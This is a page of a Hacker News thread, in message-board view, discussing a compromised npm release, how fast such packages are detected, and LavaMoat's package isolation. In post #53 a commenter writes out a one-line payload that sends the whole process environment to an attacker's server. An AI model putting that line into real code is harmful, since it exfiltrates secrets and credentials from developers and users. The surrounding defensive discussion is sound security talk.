Hacker News Board Hacker News, browsed like a classic message board
Live data from Hacker News

You too can run malware from NPM (I mean without consequences)

github.com

Post reply on HN
Print view View original

51–60 of 122 posts

Re: You too can run malware from NPM (I mean without consequences)

#51

Post by naugtur »

rs186 wrote: post #48
naugtur wrote: post #30

Earlier quoted context omitted.

Absolutely not. you get npm packages by pulling not them pushing them to you as soon as a new version exist. The likelyhood of you updating instantly is close to zero and if not, you should set your stuff up so that it is. Many ways to do that. Even better if compared to a month or two - which is how long it often takes for a researcher to find a carefully planted malware. Anyway, the case where reactive tools (detec…

Sure, it should never happen in CI environment. But I bet that every second, someone in the world is running "npm install" to bring in a new dependency to a new/existing project, and the impact of a malicious release can be broad very quickly. Vibe coding is not going to slow this down.

Vibe coding brings up the need for even more granular isolation. I'm on it ;)

LavaMoat Webpack Plugin will soom have the ability to treat parts of your app same as it currently treats packages - with isolation and policy limiting what they can do.

Re: You too can run malware from NPM (I mean without consequences)

#52

Post by hn92726819 »

naugtur wrote: post #43
CyberMacGyver wrote: post #18

Looks like OP is one of the contributors to LavaMoat

Yes, I am. I came up with the first successful attempt at integrating the Principle of Least Authority software in LavaMoat with Webpack and wrote the LavaMoat Webpack Plugin. Also, together with a bunch of great folks at TC39 we're trying to get enough building blocks for the same-realm isolation primitives into the language. see hardenedjs.org too I'm doing the rounds promoting the project today because at this poi…

I think most people are fine with promoting a cool project you work on, but it's best practice to disclose that in the article. Even something like "If your project was set up with LavaMoat (a project I've been working on), ..." would be enough.

I think that's why they made the comment.

Re: You too can run malware from NPM (I mean without consequences)

#53

Post by naugtur »

zachrip wrote: post #33
shreddit wrote: post #23

Earlier quoted context omitted.

It was discovered pretty quickly, i don’t think most “big” projects update their packages within minutes of publication.

It was also packages that in my experience don't often find themselves on the frontend.

- the attack it shipped was not a great fit for the packages compromised. `fetch(myserverurl+JSON.stringify(process.env))` would be a much more profitable payload - naive obfuscation makes lights go red in so many places it'd be better to not obfuscate at all. - the addresses were marked as malicious by Blockaid sooner than the package could reach production in most apps. Most wallets were ready to warn users early enough.

Re: You too can run malware from NPM (I mean without consequences)

#54

Post by naugtur »

pimterry wrote: post #50
j45 wrote: post #36

How does one avoid malware in npm specifically? Makes me not want to use the ecosystem, which isn’t always possible.

This attack is pretty bad, but as shown by the tiny ROI for the attacker mentioned in this article (about $500 so far: https://intel.arkm.com/explorer/entity/61fbc095-f19b-479d-a0... ) this really isn't quite as ecosystem-catastrophic as it sounds, for a few reasons: * Major attacks on large packages like this are caught fairly quickly - a few hours in this case - making the vulnerable window _relatively_ small. * NP…

Very good summary.

Most other ecosystems are as vulnerable if not more, they just lack the scale.

OP, The malware is coming to the ecosystem you prefer. Give it time.

Re: You too can run malware from NPM (I mean without consequences)

#55

Post by btown »

naugtur wrote: post #43
CyberMacGyver wrote: post #18

Looks like OP is one of the contributors to LavaMoat

Yes, I am. I came up with the first successful attempt at integrating the Principle of Least Authority software in LavaMoat with Webpack and wrote the LavaMoat Webpack Plugin. Also, together with a bunch of great folks at TC39 we're trying to get enough building blocks for the same-realm isolation primitives into the language. see hardenedjs.org too I'm doing the rounds promoting the project today because at this poi…

I'm often curious about how effective runtime quasi-sandboxing is in practice (at least until support at the TC39 level lands).

My understanding is that if you can run with a CSP that prevents unsafe-eval, and you lock a utility package down to not be able to access the `window` object, you can prevent it from messing with, say, window.fetch.

But what about a package that does assume the existence of window or globalThis? Say, a great many packages bridging non-React components into the React ecosystem. Once a package needs even read-only access to `window`, how do you protect against supply-chain attacks on that package? Even if you read-only proxy that object, for instance, can you ensure that nothing in `window` itself holds a reference to the non-proxied `window`?

Don't get me wrong - this project is tremendously useful as defense-in-depth. But curious about how much of a barrier it creates in practice against a determined attacker.

Re: You too can run malware from NPM (I mean without consequences)

#56

Post by Cthulhu_ »

mystifyingpoi wrote: post #45
jefozabuss wrote: post #34

Seems like people already forgot about Jia Tan. By the way why doesn't npm have already a system in place to flag sketchy releases where most of the code looks normal and there is a newly added obfuscated code with hexadecimal variable names and array lookups for execution...

Detecting sketchy-looking hex codes should be pretty straightforward, but then I imagine there are ways to make sketchy code non-sketchy, which would be immediately used. I can imagine a big JS function, that pretends to do legit data manip, but in the process creates the payload.

It wouldn't be just one signal, but several - like a mere patch version that adds several kilobytes of code, long lines, etc. Or a release after a long silent period.

Re: You too can run malware from NPM (I mean without consequences)

#57

Post by Cthulhu_ »

tom1337 wrote: post #41
jefozabuss wrote: post #34

Seems like people already forgot about Jia Tan. By the way why doesn't npm have already a system in place to flag sketchy releases where most of the code looks normal and there is a newly added obfuscated code with hexadecimal variable names and array lookups for execution...

It would also be great if a release needs to be approved by the maintainer via a second factor or an E-Mail verification. Once a release has been published to npm, you have an hour to verify it by clicking a link in an email and then enter another 2FA (separate OTP than for login, Passkey, Yubikey whatever). That would also prevent publishing with lost access keys. If you do not verify the release within the first ho…

Not through e-mail links though, that's what caused this in the first place. E-mail notification, sure, but they should also do a phishing training mail - make it legit, but if people press the link they need to be told that NPM will never send them an email with a link.

Re: You too can run malware from NPM (I mean without consequences)

#58

Post by Cthulhu_ »

shreddit wrote: post #20
naugtur wrote: post #11

Earlier quoted context omitted.

npm is on life support by msft. But there's socket.dev that can tell you if a package is malicious within hours of it being published.

“within hours” is at least one hour too late, and most likely multiple hours.

Depends on whether they hold publishing to the main audience until said scan has finished.

Re: You too can run malware from NPM (I mean without consequences)

#59

Post by Cthulhu_ »

sesm wrote: post #5
mohsen1 wrote: post #3

npm should take responsibility and up their game here. It’s possible to analyze the code and mark it as suspicious and delay the publish for stuff like this. It should prevent publishing code like this even if I have a gun to my head

I think malware check should be opt-in for package authors, but provide some kind of 'verified' badge to the package. Edit: typo

I always thought this would be the ideal monetization path for NPM; enterprises pay them, NPM only supplies verified package releases, ideally delayed by hours/days after release so that anything that slips through the cracks has a chance to get caught.

Re: You too can run malware from NPM (I mean without consequences)

#60

Post by naugtur »

hn92726819 wrote: post #52
naugtur wrote: post #43

Earlier quoted context omitted.

Yes, I am. I came up with the first successful attempt at integrating the Principle of Least Authority software in LavaMoat with Webpack and wrote the LavaMoat Webpack Plugin. Also, together with a bunch of great folks at TC39 we're trying to get enough building blocks for the same-realm isolation primitives into the language. see hardenedjs.org too I'm doing the rounds promoting the project today because at this poi…

I think most people are fine with promoting a cool project you work on, but it's best practice to disclose that in the article. Even something like "If your project was set up with LavaMoat (a project I've been working on), ..." would be enough. I think that's why they made the comment.

Yup, and thanks - I should have made the comment myself but got distracted.
Post reply on HN